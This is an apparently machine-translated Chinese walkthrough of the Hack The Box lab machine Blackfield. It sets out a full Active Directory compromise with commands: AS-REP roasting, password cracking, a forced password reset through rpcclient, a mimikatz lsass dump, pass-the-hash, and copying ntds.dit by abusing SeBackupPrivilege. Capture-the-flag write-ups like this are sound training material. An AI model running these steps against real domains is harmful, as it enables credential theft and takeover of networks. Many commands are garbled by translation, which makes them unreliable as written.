Blackfield HacktheBox 演练插图

概括

Blackfield 是一个 Windows Active Directory 机器,被 hack the box 认为是硬盒。这个盒子有各种有趣的漏洞,并且存在安全配置错误。像往常一样,我们从基本的 nmap 扫描开始作为枚举的一部分,并注意到 smb 空会话已启用。然后我们发现了一个预认证失效的账户并进行了AS-Rep Roasting,对得到的hash进行了破解。使用提取的密码,我们能够使用 RPC 客户端枚举 AD 中可用的用户。

横向移动,我们使用 bloodhound 并注意到一个用户可以更改另一个用户的密码,这可以使用 RPC 客户端来完成。更改另一个用户的密码后,我们访问了共享文件夹,在那里我们发现了一个有趣的文件作为内存转储数据。使用 mimikatz,我们从 lsass 内存中提取了备份用户的 NTLM 哈希。为了找到权限提升向量,我们进一步枚举,我们发现当前用户属于备份操作员组,并且启用了 sebackup 权限。通过分配给当前用户的特权,我们能够复制 ntds.dit 文件和系统配置单元。

 最后,我们使用 impacket secretdump 工具在系统配置单元的帮助下从 ntds.dit 文件中提取管理员哈希。获得管理员哈希后,我们以管理员身份登录并收集根标志。所以,在不剧透的情况下,让我们一步一步地利用它。

表中的内容

初始访问

  • 初始 Nmap TCP 端口扫描
  • SMB 共享枚举
  • 搜索无预授权 (NPU) 配置的用户
  • Krb5asrep hash 破解与 john
  • RPC 客户端枚举
  • 设置 Neo4j 控制台
  • 在 Ne04j 控制台中导出 JSON 文件进行分析
  • 分析AD与其他用户的隐藏关系
  • 尝试使用 RPC 客户端更改用户密码
  • audit2020用户的工作组枚举
  • 从 lsass.DMP 文件中提取数据
  • 用户外壳

特权升级

  • 利用启用的危险权限
  • 将磁盘阴影 DOS 文件传输到目标系统
  • 使用分配的权限复制 ntds.dit 文件
  • 制作系统配置单元的副本
  • 从 ntds.dit 文件根标志中转储密码哈希

让我们一步一步地利用它。

初始访问

我们将从正常的 TCP/IP 端口扫描开始评估。

初始 Nmap TCP 端口扫描

我们从端口扫描开始,我们使用 nmap 找出目标主机上打开了哪些端口以及正在运行哪些服务。Nmap 是 Kali Linux 自带的一个流行的端口扫描工具。为了执行端口扫描,我们对目标系统使用了 -sV标志,它会扫描服务版本的前 1000 个端口。

标志特点:

-sV:尝试确定服务版本

通过 nmap 扫描,我们发现有 8 个端口处于打开状态,其中大部分服务属于 Active Directory 环境。这些服务中的任何一个都可能导致我们遇到任何基于协议的漏洞或任何安全配置错误,这在活动目录环境中很常见。此外,它还将域名显示为BLACKFIELD.local。nmap -sV 10.129 。45 。226

Blackfield HacktheBox 演练插图1

SMB 共享枚举

服务器消息块 (SMB) 协议是一种网络文件共享协议,它允许计算机上的应用程序读取和写入文件并向计算机网络中的服务器程序请求服务。在内网可以看到,null session 开启了smb share,也就是说用户可以免认证或者免密码访问那个共享文件夹。首先,我们使用 smbclient 工具列出了所有可用的共享,默认情况下 kali Linux 附带了这些工具。从输出中,我们注意到$profiles目录没有注释,我们尝试免密码登录并成功登录。登录 smb share 后,我们发现我们可以访问的目录非常多,所有目录看起来都是空的:大小在0中显示其字节。smbclient -L 10.129 。45 。226

在继续进一步枚举之前,我们在 /etc/host 文件中 添加了域名 BLACKFIELD.local 为此,我们可以使用任何文本编辑器,例如 leafpad、nano、gedit.etc。

搜索无预授权 (NPU) 配置的用户

作为威胁参与者,我们将测试 Active Directory 环境中存在的所有潜在漏洞。假设管理员配置了一个不需要预先身份验证的帐户;那么用户不需要请求 KDC 访问任何服务或资源,攻击者可以在其中利用配置并尝试窃取禁用 Kerberos 预身份验证的用户的密码哈希。然后攻击者可以尝试从获得的散列中提取明文密码。这种攻击也称为 AS-REP 烘焙。同样,我们尝试使用 impacket 库GetNPUsers获取任何用户的密码哈希,并将结果存储在 result.txt 文件中。结果,我们发现支持帐户没有设置预身份验证并提取其密码哈希。得到hash后,我们可以尝试使用john、hashcat等离线工具进行破解。

在下面的命令中,我们使用了带有域名的域 IP 地址的 –dc-ip 标志和 -userfile标志来提供潜在用户列表。然后我们使用 grep 实用程序来过滤我们的结果。impacket-GetNPUsers -dc-ip 10.129 。45 。226黑地。local / -usersfile 用户名。txt >结果。TXT

Blackfield HacktheBox 演练插图2

 Krb5asrep hash 破解与 john

我们将获得的哈希存储在哈希文件中。然后我们使用 john 以纯文本格式破解散列,发布 Kali Linux 附带的破解密码词表。Rockyou.txt 文件包含常用密码的列表。此文件包含超过 14,341,564 个密码,这些密码之前曾在数据泄露中泄露。该工具很好地完成了它的工作,并将哈希值破解为人类可读的形式。

破解密码: #00^BlackKnight约翰 –wordlist=/usr/share/wordlists/rockyou。文本散列

Blackfield HacktheBox 演练插图3

 RPC 客户端枚举

接下来,我们尝试使用获得的凭据登录 RPC 客户端并列出所有 AD 用户,我们注意到三个默认帐户和两个非默认帐户用户。远程过程调用 (RPC) 协议通常用于不同工作站上的进程之间进行通信。然而,RPC 也适用于同一工作站上不同进程之间的通信。rpcclient -U support% #00^BlackKnight 10.129.45.226

Blackfield HacktheBox 演练插图4

血猎犬AD侦察

由于我们拥有有效的用户帐户凭据,因此我们决定映射支持用户与其他用户的关系。例如,audit2020 或管理员。为了映射域关系,我们使用了一种名为 bloodhound 的流行工具。Bloodhound 还带有 Kali Linux,如果攻击者拥有活动目录用户的有效凭据,则允许远程映射域。在下面的命令中,我们正在收集我们提供不同标志的所有域信息,用户名(-u),密码(-p),域名(-d),名称服务器(-ns)和收集方法(-C)。bloodhound-python -u support -p ‘#00^BlackKnight’ -d 黑场。本地-ns 10.129 。45 。226 -c 所有

Blackfield HacktheBox 演练插图5

设置 Neo4j 控制台

然后,我们启动了 Neo4j 控制台来分析由猎犬收集的文件。该工具为具有集成可视化功能的图形提供了一个交互式控制台。要启动控制台,只需发出以下命令。准备就绪后,我们需要在其默认端口 7474 上访问我们的环回接口。

Blackfield HacktheBox 演练插图6

在 Ne04j 控制台中导出 JSON 文件进行分析

我们需要在控制台中导入所有 JSON 文件。为此,我们可以简单地将所有文件拖到控制台中或使用 neo4j 中可用的导入功能。

Blackfield HacktheBox 演练插图7

分析AD与其他用户的隐藏关系

导入文件后,我们将看到具有图形可视化的用户关系。Neo4j 属性图数据库模型包括: 描述域实体(离散对象)的节点。节点可以有零个或多个标签来定义(分类)它们是什么类型的节点。关系描述源节点和目标节点之间的连接。从节点信息选项卡中,我们注意到“一级对象控件”,它显示了支持用户与audit2020的关系,其中支持用户有权更改 audit2020 密码。

Blackfield HacktheBox 演练插图8

尝试使用 RPC 客户端更改用户密码

我们知道,support 用户有权限修改 audit2020 用户的密码。我们搜索了利用此特权的方法并找到了一个博客。在博客中,建议在尝试使用 RPC 客户端更改任何用户的密码时使用 23 作为级别。并且还提到将无法更改 AdminCount = 1 的任何人(也称为域管理员和其他高权限帐户)的密码。跟随博客,我们尝试在RPC Client中验证为支持用户后更改用户audit2020的密码并成功更改密码。

参考:https ://malicious.link/post/2017/reset-ad-user-password-with-linux/setuserinfo2 audit2020 23 ‘密码@1’

Blackfield HacktheBox 演练插图9

audit2020用户的工作组枚举

修改audit2020密码后,我们登录到名为forensic的smb共享文件夹。在取证文件夹中,我们发现了一个名为memory_analysis的有趣文件夹,我们在其中发现了另一个名为lsass.zip的文件。LSASS 文件对于威胁行为者来说可能很有趣,因为 lsass.exe 在内存中存储身份验证凭据,如加密密码、NT 哈希、LM 哈希和 Kerberos 票证。将这些凭据存储在内存中,使用户可以在活动的 Windows 会话期间访问和共享文件,而无需在每次需要执行任务时重新输入凭据。我们通过运行以下命令在本地系统中下载了 lsass.zip 文件以进行进一步分析。然后我们解压找到lsass.DMP文件,它看起来像是在其中保存了 lsass 转储的内存。smbclient -U ‘audit2020’ //10.129.45.226/取证 得到 lsass。压缩

从 lsass.DMP 文件中提取数据

为了从 lsass.DMP 文件中提取数据,我们使用了一个名为 mimikatz 的强大工具。Mimikatz 是黑客和安全专家常用的一种工具,用于从系统内存中提取敏感信息,例如密码和凭据。为此,我们可以在具有系统特权 shell 的 Windows 系统中使用 mimikatz,因为 mimikatz 在低特权 shell 中不起作用。按照以下命令从 lsass.DMP 文件中提取数据。正如预期的那样,mimikatz 从 lsass.DMP 文件中转储了 NTLM 哈希。现在我们可以尝试使用传递哈希技术作为svc_backup用户进行身份验证。黑客文章中有一篇不错的文章,可用于以多种方式利用传递哈希技术。

网址: https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/ 特权:调试sekurlsa::minidump lsass。数据管理平台

Blackfield HacktheBox 演练插图10

用户标志

使用获得的凭据,我们使用winrm服务以svc_backup用户身份登录,该服务默认在端口 5985 上运行。在 nmap 结果中,我们没有看到这个端口打开,因为 nmap 只扫描 PowerShell 远程端口不计入的前 1000 个端口。我们可以从 svc_backup 桌面目录中获取用户标志。然后我们查看当前用户分配的权限,发现启用了sebackup权限和serestore权限。邪恶的 winrm -i 10.129 。45 。226 -u svc_backup -H ‘9658d1d1dcd9250115e2205d9f48400d’

Blackfield HacktheBox 演练插图11

特权升级

特权升级是利用操作系统或软件应用程序中的错误、设计缺陷或配置疏忽来提升对通常不受应用程序或用户保护的资源的访问权限的过程。攻击者可以使用特权升级来访问比 root 用户预期更多的系统功能和数据。在某些情况下,权限提升可以让攻击者获得对系统的完全控制。

利用启用的危险权限

进一步枚举svc_backup用户,发现该用户也是backup operators组的成员。备份操作员组成员有权制作磁盘影子副本并访问系统拥有的所有文件。通过快速搜索,我们得到了另一篇由黑客文章备份提权技术发表的文章。按照博客,我们创建了一个文件,指示磁盘影子将 C: 驱动器的副本创建到 Z: 驱动器中,作为别名 raj 并将其保存为 raj.dsh 文件。DSH 文件扩展名向您的设备指示哪个应用程序可以打开该文件。但是,不同的程序可能对不同类型的数据使用 DSH 文件类型。然后我们把它编译成DOS格式在windows主机上使用。

https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/叶垫拉杰 dsh设置上下文持久 nowriters添加卷 c:别名 raj创造暴露 %raj% 与:unix2dos 拉吉。dsh

Blackfield HacktheBox 演练插图12

将磁盘阴影 DOS 文件传输到目标系统

编译后,我们将 raj.dsh 文件传输到我们创建的目标临时目录中。evil-winrm 使我们的工作变得简单,因为它在其中添加了上传功能,这意味着我们不需要在这里以传统方式传输文件。我们确认 raj.dsh 文件已成功上传到 C:\temp 目录中。mkdir 温度光盘温度上传 raj。dsh

Blackfield HacktheBox 演练插图13

使用分配的权限复制 ntds.dit 文件

在目标系统中执行 dsh 文件会在 Z:\ 驱动器中暴露 C:\ 驱动器的卷影副本。现在我们可以在可访问目录中制作 ntds.dit 文件的副本。我们使用 robocopy 实用程序将 ntds.dit 文件从 Z:\windows 目录复制到当前工作目录。重现此概念证明的步骤遵循以下命令:cd C:\Temp上传 raj。dshdiskshadow /s raj. dsh机器人复制 /bz:\windows\ntds 。NTDS。嘀

Blackfield HacktheBox 演练插图14

制作系统配置单元的副本

要成功执行此攻击,我们还需要有一个系统配置单元,否则我们将无法从 ntds.dit 文件中提取哈希值。配置单元是注册表中键、子键和值的逻辑组,在操作系统启动或用户登录时将一组支持文件加载到内存中。每次新用户登录到计算机时,为该用户创建一个新的配置单元,并为用户配置文件创建一个单独的文件。因此,我们复制了临时目录中的系统配置单元并将其转移到攻击机器中。reg 保存 hklm\system C:\Temp\systemcd C:\Temp下载 nts。这下载系统

Blackfield HacktheBox 演练插图15

从 ntds.dit 文件中转储密码哈希

一旦系统配置单元和 ntds.dit 文件被传输到攻击机器,我们就会尝试使用impacket secretsdump从 ntds.dit 文件中提取哈希值。Secretdump 与管理员一起提取了所有用户的哈希值。impacket-secretsdump -ntds ntds。dit -system 系统本地

Blackfield HacktheBox 演练插图16

根标志

同样,我们可以利用传递哈希技术来获得具有已获得哈希的管理员 shell。我们成功地以管理员身份进行身份验证,并从管理员桌面目录中获取了 root 标志。邪恶的 winrm -i 10.129 。45 。226 -u 管理员 -H ‘184fb5e5178480be64824d4cd53b99ee’

Blackfield HacktheBox 演练插图17

结论

这台机器很有趣,是一个很好的学习源泉,我们在那里学习和探索了很多东西,例如 TCP 端口扫描、服务枚举、AS-REP 烘焙、RPC 客户端功能和在 AD 环境中的作用、哈希破解、smb 共享枚举、 Bloodhound 用户隐藏关系映射、检查转储数据、传递哈希、windows 活动目录危险权限,可能导致权限升级。